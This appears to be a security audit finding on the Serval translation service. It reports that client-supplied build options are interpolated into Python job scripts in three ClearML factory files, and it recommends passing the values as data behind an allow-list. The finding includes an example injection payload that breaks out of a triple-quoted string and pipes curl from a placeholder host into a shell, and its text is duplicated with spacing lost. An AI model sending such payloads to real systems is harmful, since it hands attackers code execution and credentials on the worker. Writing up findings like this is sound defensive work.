Files: src/Machine/src/Serval.Machine.Shared/Services/NmtClearMLBuildJobFactory.cs:44, and identically src/Machine/src/Serval.Machine.Shared/Services/SmtTransferClearMLBuildJobFactory.cs:38, src/Machine/src/Serval.Machine.Shared/Services/StatsiticalClearMLBuildJobFactory.cs:38
The job script is built by string interpolation and the user's build options are embedded inside a Python triple-quoted literal:
+ (buildOptions is not null ? $" 'build_options': '''{buildOptions}''',\n" : "")
buildOptions is JsonSerializer.Serialize(build.Options) (src/Serval/src/Serval.Translation/Features/Engines/StartBuild.cs:90-92), where build.Options is arbitrary client-supplied JSON from POST .../builds. JSON string values preserve ''' and newlines, so a payload like:
{ "x": "''' \nimport os; os.system('curl http://evil/c|sh')\n#" }
closes the literal and executes arbitrary Python on the ClearML GPU worker — with that worker's credentials and network reach.
Fix: Stop generating code by interpolation. Pass dynamic values to the Python job as data — ClearML hyperparameters, or a single base64-encoded JSON blob that the Python side b64decode/json.loadss. Additionally constrain build Options to an allow-list schema at the API boundary.
Files:
src/Machine/src/Serval.Machine.Shared/Services/NmtClearMLBuildJobFactory.cs:44, and identicallysrc/Machine/src/Serval.Machine.Shared/Services/SmtTransferClearMLBuildJobFactory.cs:38,src/Machine/src/Serval.Machine.Shared/Services/StatsiticalClearMLBuildJobFactory.cs:38The job script is built by string interpolation and the user's build options are embedded inside a Python triple-quoted literal:
buildOptionsisJsonSerializer.Serialize(build.Options)(src/Serval/src/Serval.Translation/Features/Engines/StartBuild.cs:90-92), wherebuild.Optionsis arbitrary client-supplied JSON fromPOST .../builds. JSON string values preserve'''and newlines, so a payload like:{ "x": "''' \nimport os; os.system('curl http://evil/c|sh')\n#" }closes the literal and executes arbitrary Python on the ClearML GPU worker — with that worker's credentials and network reach.
Fix: Stop generating code by interpolation. Pass dynamic values to the Python job as data — ClearML hyperparameters, or a single base64-encoded JSON blob that the Python side
b64decode/json.loadss. Additionally constrain buildOptionsto an allow-list schema at the API boundary.